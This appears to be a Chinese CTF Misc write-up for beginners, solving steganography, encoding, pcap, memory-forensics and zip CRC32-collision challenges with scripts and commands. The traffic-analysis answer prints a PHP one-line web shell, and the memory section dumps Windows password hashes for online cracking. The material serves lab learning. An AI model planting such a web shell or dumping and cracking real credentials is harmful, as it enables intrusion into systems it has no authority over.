Misc题解 前置知识 本wp是面向新生写的,题不难方法乱,佬佬佬请手下留情qwq 1.必要的软件:010editor或者Winhex(十六进制分析),StegSolve(图片处理),wireshark(流量分析),QRc,ARCHPR,netcat等
kali系统:volatility(内存取证),pwntools(pwn必备)
2.一些前置知识
①本次题目用到的文件头:
504B0304 zip格式
FFD8 jpg格式
更多格式自己百度(
②简单的linux操作,虚拟机,命令行等基础知识
签到题 题目提示“s2n”,实际上就是告诉你字符串转数字,将题目上的十进制数字转为16进制,然后在转化为字符串就是flag
在线网站:https://www.zixuephp.net/tool-str-hex.html
当然也可以用python的libnum库的libnum.n2s
1 2 3 198974677777466123233790739058702135422422941323011746768369887102728114188076830963581 666c61677b57656c63306d655f546f5f7468655f6374665f7730726c645f33656438377d flag{Welc0me_To_the_ctf_w0rld_3ed87}
海报的秘密 用PS将右上角的定位符补全,不要使用手机直接扫码,用QRC等软件扫码,可以看出在QQ的跳转链接的后面加上了一段flag
Metadata就是元数据的意思,简单理解就是图片的备注信息,用010editor打开(以下简称010),可以看到在压缩包最后有一些base64编码
将这个图片用在线网站提取exif信息,然后可以发现另一段base64编码
复制之后解码,就能得到flag
https://exif.tuchong.com/ 在线提取exif信息
http://www.hiencode.com 各种解码大合集
Grass 在GitHub上面搜索“Grass-plant Programming Language”,找到那个项目就行,在Result里面有编译好的解释器,按要求使用就行
https://github.com/nanayaT/GllEditor 项目地址
ezpcap 打开流量包,可以看到一堆没用的ARP流量,直接过滤(高人指点,校园网的锅)
然后用指令过滤,打开流量包就能找到flag
Height_and_width 一眼可以看出图片的高度和宽度北部修改了,那么如何才能找到原来的宽高值呢?这就要看png的文件格式了
(注:这些信息是我凭记忆写的,可能有些错误,请以实际为准)
PNG文件中总是以固定的八个字节开头:89 50 4E 47 0D 0A 1A 0A
数据块长度13:00 00 00 0D
文件头数据块标示IDCH:49 48 44 52
13位数据块(IHDR):宽和高: 00 00 00 80 00 00 00 80 之后5个字节依次为Bit depth ColorType Compression method Filter method Interlace method :08 02 00 00 00
接下来的四字节为该png图片的CRC校验码,由IDCH和IHDR共十七位字节进行crc计算得到。
74 0F 90 AC
对于png图片的高度和宽度有一个CRC32值校验,于是便可以通过CRC32碰撞来获得原来的宽度高度,脚本如下:
1 2 3 4 5 6 7 8 9 10 11 import osimport binasciiimport struct crcbp = open ("C:\\Users\\LiangMaxwell\\Downloads\\QRCode.png" ,"rb" ).read()for i in range (1024 ): for j in range (1024 ): data = crcbp[12 :16 ] + struct.pack('>i' ,i) + struct.pack('>i' ,j) + crcbp[24 :29 ] crc32 = binascii.crc32(data) & 0xffffffff if crc32 == 0x740f90ac : print i,j print "hex" ,hex (i),hex (j)
得到原来的图片宽高,在16进制中修改即可得到flag
RGB_channel 下载解压后得到三个图片,按照名称用StegSolve打开,分别提取RGB三个通道的信息,连接起来就是flag
提取完之后注意删掉空格,我特么删了两个空格没看见第一个然后死活提交不对,我是铸币。
Base163264 看题目就可以知道是base16 base32 base64三种编码方式,由于文本长度过长,很难通过在线网站进行解码,所以需要python脚本
1 2 3 4 5 6 7 8 import base64 readfile = open ('C:\\Users\\LiangMaxwell\\Downloads\\24.txt' ,'r' ) f=open ("C:\\Users\\LiangMaxwell\\Downloads\\25.txt" ,"wb" ) txt = readfile.readlines()[0 ] txt = base64.b16decode(txt)print (txt) f.write(txt) readfile.close()
1 2 3 4 5 6 7 8 import base64 readfile = open ('C:\\Users\\LiangMaxwell\\Downloads\\19.txt' ,'r' ) f=open ("C:\\Users\\LiangMaxwell\\Downloads\\20.txt" ,"wb" ) txt = readfile.readlines()[0 ] txt = base64.b32decode(txt)print (txt) f.write(txt) readfile.close()
1 2 3 4 5 6 7 8 import base64 readfile = open ('C:\\Users\\LiangMaxwell\\Downloads\\17.txt' ,'r' ) f=open ("C:\\Users\\LiangMaxwell\\Downloads\\18.txt" ,"wb" ) txt = readfile.readlines()[0 ] txt = base64.b64decode(txt)print (txt) f.write(txt) readfile.close()
鄙人不才,使用的麻烦的解题方法:
(上面的代码都能看懂吧)
base16格式:31313435313431393139383130E593BCE593BCE5958AE5958AE5958AE5958A0A
base32格式:GEYTINJRGQYTSMJZHAYTBZMTXTSZHPHFSWFOLFMK4WKYVZMVRIFA====
base64格式:MTE0NTE0MTkxOTgxMOWTvOWTvOWViuWViuWViuWVigo=
通过观察解码出来的格式,选择使用哪一个脚本来解码,在pycharm里面选择不同的脚本来运行,每次运行之后更改一下文件路径,知道最后算出来flag
标准解法:用个异常处理来同时转换编码,当初没想到(
也许可以写一个正则表达式来判断是何种编码,但是过于懒惰不想思考(
what’s_my_password 内存分析题,需要在kali中安装脚本以及相关依赖
查看相关信息
1 volatility -f mem.raw imageinfo
查看账户密码
1 volatility -f mem.raw --profile=Win70x86 hashdump
(注意,上面那个Win70x86是其他的内存镜像的信息,对于本题需要用第一个命令看一下详细信息,然后改成自己的)
在“CTF”账户中可以找到SAM的信息,然后在下面这个网站就能解析出原来的密码
https://www.objectif-securite.ch/ophcrack
简单流量分析 (被出题人气晕.jpg)
打开之后,常规过滤流量,得到想要的http流量信息
提取出来文件
在这些文件中就能找到我们想要的信息
最后按照要求写出来就是
1 2 3 4 5 6 7 1. 黑客上传的一句话木马是什么? <?php eval($_POST['antswordisgood']); ?> 2. 黑客利用一句话木马getshell需要的密码是什么? antswordisgood 3. 黑客从服务器获取的文件的内容是什么? This_is_a_secret_file_lol 回答上述问题, 并将上述问题的答案用"_"(下划线)连接起来, 如"一句话木马_密码_文件内容", 再将连接的字符串用32位小写md5加密, 并以flag{xxx}的形式提交, xxx为小写32位md5
注意事项,”一句话木马“指的是40字节的文件内容,而不是”shell.php“,然后secret.txt显示的是26字节,实际上只要25个字符,原因是出题人多打了一个回车,于是答案就是
1 <?php eval($_POST['antswordisgood']); ?>_antswordisgood_This_is_a_secret_file_lol
md5之后就是flag的内容
究极套娃 典中典
首先直接打开流量包,发现提示损坏,用16进制打开可以看到后面多了一个压缩包和几个字符,注意那几个字符实际上就是flag2(亏我当初一顿好找)
将后缀的压缩包分离出来,解压密码是流量包分析的结果,流量包本身是一个键盘流量,通过指令和脚本可以分析出来解压密码
(对于键盘流量分析和解码脚本请自行百度,我在另一个电脑上面写的wp没有相关软件和脚本qwq)
解压出来之后进入challenge2,里面有一个图片,无法打开,缺少文件头,补上去就行
这个图片藏满了信息,首先是高度,将其修改之后可以看到密码3
然后是Exif信息,同样可以用在线网站提取出来密码1
用16进制打开之后可以看到后面还有一个压缩包,提取出来之后是密码2
将密码链接起来解压压缩包,进入challenge3
对于那三个rgb图片,都使用StegSolve提取数据,可以看出里面都是压缩包
这三个压缩包里面都是一个5字节的txt,通过解题经验可知这是CRC32碰撞,上脚本
(GitHub上面也有著名的项目https://github.com/theonlypwner/crc32)
这是那三个文件的CRC32值
88e29b0b a7d5ecec 009067d5
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 """ Author:spaceman """ import binasciiimport stringfrom time import sleepdef is_number (s ): try : float (s) return True except ValueError: pass try : import unicodedata unicodedata.numeric(s) return True except (TypeError, ValueError): pass return False def progress (percent=0 , width=40 ): left = width * percent // 95 right = width - left print ('\r[' , '#' * left, ' ' * right, ']' , f' {percent:.0 f} %' , sep='' , end='' , flush=True )def crc1 (strs, dic ): strs = hex (int (strs, 16 )) rs = '' for i in dic: s = i if hex (binascii.crc32(s.encode())) == strs: rs += s print (strs + ' : ' + s) return rsdef crc2 (strs, dic ): strs = hex (int (strs, 16 )) rs = '' for i in dic: for j in dic: s = i + j if hex (binascii.crc32(s.encode())) == strs: rs += s print (strs + ' : ' + s) return rsdef crc3 (strs, dic ): strs = hex (int (strs, 16 )) rs = '' for i in dic: for j in dic: for k in dic: s = i + j + k if hex (binascii.crc32(s.encode())) == strs: rs += s print (strs + ' : ' + s) return rsdef crc4 (strs, dic ): strs = hex (int (strs, 16 )) rs = '' it = 1 for i in dic: for j in dic: for k in dic: for m in dic: s = i + j + k + m if hex (binascii.crc32(s.encode())) == strs: rs += s print () print (strs + ' : ' + s) print ('\n' ) progress(it) sleep(0.1 ) it += 1 return rsdef crc5 (strs, dic ): strs = hex (int (strs, 16 )) rs = '' it = 1 for i in dic: progress(it) for j in dic: for k in dic: for m in dic: for n in dic: s = i + j + k + m + n if hex (binascii.crc32(s.encode())) == strs: rs += s print () print (strs + ' : ' + s) print ('\n' ) sleep(0.1 ) it += 1 return rsdef CrackCrc (crclist, length ): print () print ("正在计算..." ) print () dic = ''' !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~''' dic = dic[::-1 ] text = '' for i in crclist: if length == '1' : text += crc1(i, dic) if length == '2' : text += crc2(i, dic) if length == '3' : text += crc3(i, dic) if length == '4' : text += crc4(i, dic) if length == '5' : text += crc5(i, dic) print ('\n' ) if text == '' : print ("碰撞失败,无结果" ) exit() print ("字符顺序组合:" , end=' ' ) print () print (text) print () input ("回车确认结束程序..." )print (''' ############################## ###### Author:spaceman ###### ### Thank you for your use ### ############################## ''' ) listcrc = [] length = (input ("请输入文本字节大小(1-5):" )) if is_number(length) == False or length not in ("1,2,3,4,5" ): exit("非指定数字,退出" )print ()while 1 : crc = input ('请输入crc值(例如:d1f4eb9a,输入n完成输入):' ) if crc == 'n' : break crc = '0x' + crc if len (crc) != 10 : print ("rcr长度不对,请重新输入" ) continue listcrc.append(crc) CrackCrc(listcrc, length)
最后可以碰撞出来一些字符串
1 2 3 4 5 6 7 8 9 10 11 12 13 0x88e29b0b : v6tKj 0x88e29b0b : jy(J~ 0x88e29b0b : Whd"& 0x88e29b0b : K'8#2 0xa7d5ecec : ^7U1q 0xa7d5ecec : 2Dx55 0x9067d5 : kxKUe 0x9067d5 : J&[<) 0x9067d5 : &Uv8m
将其组合成字典,使用ARCHPR爆破就能得到密码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 v6tKj^7U1qkxKUe v6tKjkxKUe^7U1q ^7U1qv6tKjkxKUe ^7U1qkxKUev6tKj kxKUe^7U1qv6tKj kxKUev6tKj^7U1q v6tKj^7U1qJ&[<) v6tKjJ&[<)^7U1q ^7U1qv6tKjJ&[<) ^7U1qJ&[<)v6tKj J&[<)^7U1qv6tKj J&[<)v6tKj^7U1q v6tKj^7U1q&Uv8m v6tKj&Uv8m^7U1q ^7U1qv6tKj&Uv8m ^7U1q&Uv8mv6tKj &Uv8m^7U1qv6tKj &Uv8mv6tKj^7U1q v6tKj2Dx55kxKUe v6tKjkxKUe2Dx55 2Dx55v6tKjkxKUe 2Dx55kxKUev6tKj kxKUe2Dx55v6tKj kxKUev6tKj2Dx55 v6tKj2Dx55J&[<) v6tKjJ&[<)2Dx55 2Dx55v6tKjJ&[<) 2Dx55J&[<)v6tKj J&[<)2Dx55v6tKj J&[<)v6tKj2Dx55 v6tKj2Dx55&Uv8m v6tKj&Uv8m2Dx55 2Dx55v6tKj&Uv8m 2Dx55&Uv8mv6tKj &Uv8m2Dx55v6tKj &Uv8mv6tKj2Dx55 jy(J~^7U1qkxKUe jy(J~kxKUe^7U1q ^7U1qjy(J~kxKUe ^7U1qkxKUejy(J~ kxKUe^7U1qjy(J~ kxKUejy(J~^7U1q jy(J~^7U1qJ&[<) jy(J~J&[<)^7U1q ^7U1qjy(J~J&[<) ^7U1qJ&[<)jy(J~ J&[<)^7U1qjy(J~ J&[<)jy(J~^7U1q jy(J~^7U1q&Uv8m jy(J~&Uv8m^7U1q ^7U1qjy(J~&Uv8m ^7U1q&Uv8mjy(J~ &Uv8m^7U1qjy(J~ &Uv8mjy(J~^7U1q jy(J~2Dx55kxKUe jy(J~kxKUe2Dx55 2Dx55jy(J~kxKUe 2Dx55kxKUejy(J~ kxKUe2Dx55jy(J~ kxKUejy(J~2Dx55 jy(J~2Dx55J&[<) jy(J~J&[<)2Dx55 2Dx55jy(J~J&[<) 2Dx55J&[<)jy(J~ J&[<)2Dx55jy(J~ J&[<)jy(J~2Dx55 jy(J~2Dx55&Uv8m jy(J~&Uv8m2Dx55 2Dx55jy(J~&Uv8m 2Dx55&Uv8mjy(J~ &Uv8m2Dx55jy(J~ &Uv8mjy(J~2Dx55 Whd"&^7U1qkxKUe Whd"&kxKUe^7U1q ^7U1qWhd"&kxKUe ^7U1qkxKUeWhd"& kxKUe^7U1qWhd"& kxKUeWhd"&^7U1q Whd"&^7U1qJ&[<) Whd"&J&[<)^7U1q ^7U1qWhd"&J&[<) ^7U1qJ&[<)Whd"& J&[<)^7U1qWhd"& J&[<)Whd"&^7U1q Whd"&^7U1q&Uv8m Whd"&&Uv8m^7U1q ^7U1qWhd"&&Uv8m ^7U1q&Uv8mWhd"& &Uv8m^7U1qWhd"& &Uv8mWhd"&^7U1q Whd"&2Dx55kxKUe Whd"&kxKUe2Dx55 2Dx55Whd"&kxKUe 2Dx55kxKUeWhd"& kxKUe2Dx55Whd"& kxKUeWhd"&2Dx55 Whd"&2Dx55J&[<) Whd"&J&[<)2Dx55 2Dx55Whd"&J&[<) 2Dx55J&[<)Whd"& J&[<)2Dx55Whd"& J&[<)Whd"&2Dx55 Whd"&2Dx55&Uv8m Whd"&&Uv8m2Dx55 2Dx55Whd"&&Uv8m 2Dx55&Uv8mWhd"& &Uv8m2Dx55Whd"& &Uv8mWhd"&2Dx55 K'8#2^7U1qkxKUe K'8#2kxKUe^7U1q ^7U1qK'8#2kxKUe ^7U1qkxKUeK'8#2 kxKUe^7U1qK'8#2 kxKUeK'8#2^7U1q K'8#2^7U1qJ&[<) K'8#2J&[<)^7U1q ^7U1qK'8#2J&[<) ^7U1qJ&[<)K'8#2 J&[<)^7U1qK'8#2 J&[<)K'8#2^7U1q K'8#2^7U1q&Uv8m K'8#2&Uv8m^7U1q ^7U1qK'8#2&Uv8m ^7U1q&Uv8mK'8#2 &Uv8m^7U1qK'8#2 &Uv8mK'8#2^7U1q K'8#22Dx55kxKUe K'8#2kxKUe2Dx55 2Dx55K'8#2kxKUe 2Dx55kxKUeK'8#2 kxKUe2Dx55K'8#2 kxKUeK'8#22Dx55 K'8#22Dx55J&[<) K'8#2J&[<)2Dx55 2Dx55K'8#2J&[<) 2Dx55J&[<)K'8#2 J&[<)2Dx55K'8#2 J&[<)K'8#22Dx55 K'8#22Dx55&Uv8m K'8#2&Uv8m2Dx55 2Dx55K'8#2&Uv8m 2Dx55&Uv8mK'8#2 &Uv8m2Dx55K'8#2 &Uv8mK'8#22Dx55 这个文件的口令 : v6tKj2Dx55kxKUe
解压challenge4,得到flag1,将其与之前的flag2拼接就能得到flag
1 flag{W0w_yoU_4re_m1Sc_Ma5Ter_BuT_Ju5t_4_j0ke_LoL}
总结 题不算难,考察的知识点很全面,对纯萌新不太友好(
对于没有基础的新生来说,如果善于使用Google,百度,CSDN等搜索工具,就能很快的解决问题